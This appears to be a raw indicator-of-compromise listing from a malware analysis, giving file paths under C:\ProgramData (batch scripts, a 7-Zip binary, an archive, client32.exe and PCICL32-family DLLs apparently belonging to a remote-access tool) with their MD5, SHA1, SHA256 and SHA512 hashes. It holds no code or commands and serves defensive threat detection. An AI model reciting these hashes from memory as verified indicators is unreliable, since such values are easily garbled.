SHA256 434d977609d8c580895a2b3b74f0948e2670bdeef5d06a1325c4940264b95f6c
SHA512 e00f310e0c09b0e78ee98e8c1efdbb2caf6cac0e5fde51536123443f54f271c0232b4521c02de5083eb18cc03d350d37a0cb1ed2da58c6a0830b5462def34276

C:\ProgramData\7z.bat

MD5 67404b0103100e3452532b69a46aa33f
SHA1 4bc62bfaecc1a4c5c95d906e2b64e161933f9965
SHA256 6f1624a63e0713b8c0f86a461e9ce955f0d7eef8d4d3cdacf0b79e3ae843f19c
SHA512 4c7f3e63746179413915f308dea04cf668f909a4111caa479b633587137483ff7af548e2aab7180617cc5a6363884151f546a58b0b40a7bdb7edc3024bb26989

C:\ProgramData\2.bat

MD5 6011bc3aa00cc9eefa63bd07c9676678
SHA1 9c8fb9c006ab9787254bd6ade3194a90c24d66c9
SHA256 5a8a48a2be136200954f5f81de68363d5dd8c82489dacae5d6b717b598634079
SHA512 93869d542de437ce4514c745153284163305256f4673139a91ce9253ea329941b1fc273ccb3c0a2710e761ad41698a3f96ea0a5516ab3f436a5ead82572d36ba

C:\ProgramData\2.bat

MD5 9c8e256f5fda613cd6ce0889ecf601ef
SHA1 ccba6c491a278c82145fcac7426a9f5da5dc933f
SHA256 ef55ff724e649918691224e7c6d1fc7ff5a9d73dc38b0ae70ce117f9c20009eb
SHA512 d2f709c475f993e6c26c0444eb394ed1ee39fb261a0f77f5d5a8cb3ba36eb4a1f4fbfb45a6ce5bc0afaaae6dd0f16f02497a3c93f0f61267b9fc5d93e519f51e

C:\ProgramData\7zz.exe

MD5 42badc1d2f03a8b1e4875740d3d49336
SHA1 cee178da1fb05f99af7a3547093122893bd1eb46
SHA256 c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
SHA512 6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

C:\ProgramData\7zz.exe

MD5 42badc1d2f03a8b1e4875740d3d49336
SHA1 cee178da1fb05f99af7a3547093122893bd1eb46
SHA256 c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
SHA512 6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

C:\ProgramData\tempy.7z

MD5 7bfc5ad1796a0bbaefcad64239543506
SHA1 bb1f0b198d9011b00164fad88523c35369eb9e4a
SHA256 42679bd369a3b772c43b9ba20bf8a31a2593a360cfa2de77aa6d2023f9a0c109
SHA512 90dfac808c2009439ebff3ef0fcfb95cb4fce1176b9c5d7587a6908e66687dc0f6592d29f71bf1c19a73f82522298625052791e9620beee285bebe613a00d091

C:\ProgramData\client32.exe

MD5 f70b67c2b3204b7ddd8b755799cccff0
SHA1 a42e55e328d62d11e687c167bb7049d46f0f9b26
SHA256 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897
SHA512 54fcba8a063bfbaae4c3a39624bf3407db6af5699ab8686f936ab03c5864df7a44d089066fa2d4aedf5ad50d6b04624966a5111bf57bec1dda74a571f1dd7c63

C:\ProgramData\client32.exe

MD5 f70b67c2b3204b7ddd8b755799cccff0
SHA1 a42e55e328d62d11e687c167bb7049d46f0f9b26
SHA256 213af995d4142854b81af3cf73dee7ffe9d8ad6e84fda6386029101dbf3df897
SHA512 54fcba8a063bfbaae4c3a39624bf3407db6af5699ab8686f936ab03c5864df7a44d089066fa2d4aedf5ad50d6b04624966a5111bf57bec1dda74a571f1dd7c63

C:\ProgramData\PCICL32.dll

MD5 d3d39180e85700f72aaae25e40c125ff
SHA1 f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA256 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

C:\ProgramData\PCICL32.DLL

MD5 d3d39180e85700f72aaae25e40c125ff
SHA1 f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA256 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

C:\ProgramData\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

C:\ProgramData\PCICHEK.DLL

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\ProgramData\msvcr100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

C:\ProgramData\msvcr100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

C:\ProgramData\MSVCR100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

C:\ProgramData\pcichek.dll

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\ProgramData\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

C:\ProgramData\client32.ini

MD5 99c9a23ca6754f0cf146a095e9e666d3
SHA1 817ebba693f606c1cb8c5524360961b13642e6b9
SHA256 ae1399c7b00710cdd7c119bee4b42c107bfee79c399b27a497a19094150f53ad
SHA512 68970cf9ec3065860ae60a225014a71a1aac1311102605b7fb85c58fc76537a44169fac1fa9368e1aa82f564147626f46b194b89300e171d6fa740e57a5b3402

C:\ProgramData\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

C:\ProgramData\HTCTL32.DLL

MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

C:\ProgramData\HTCTL32.DLL

MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a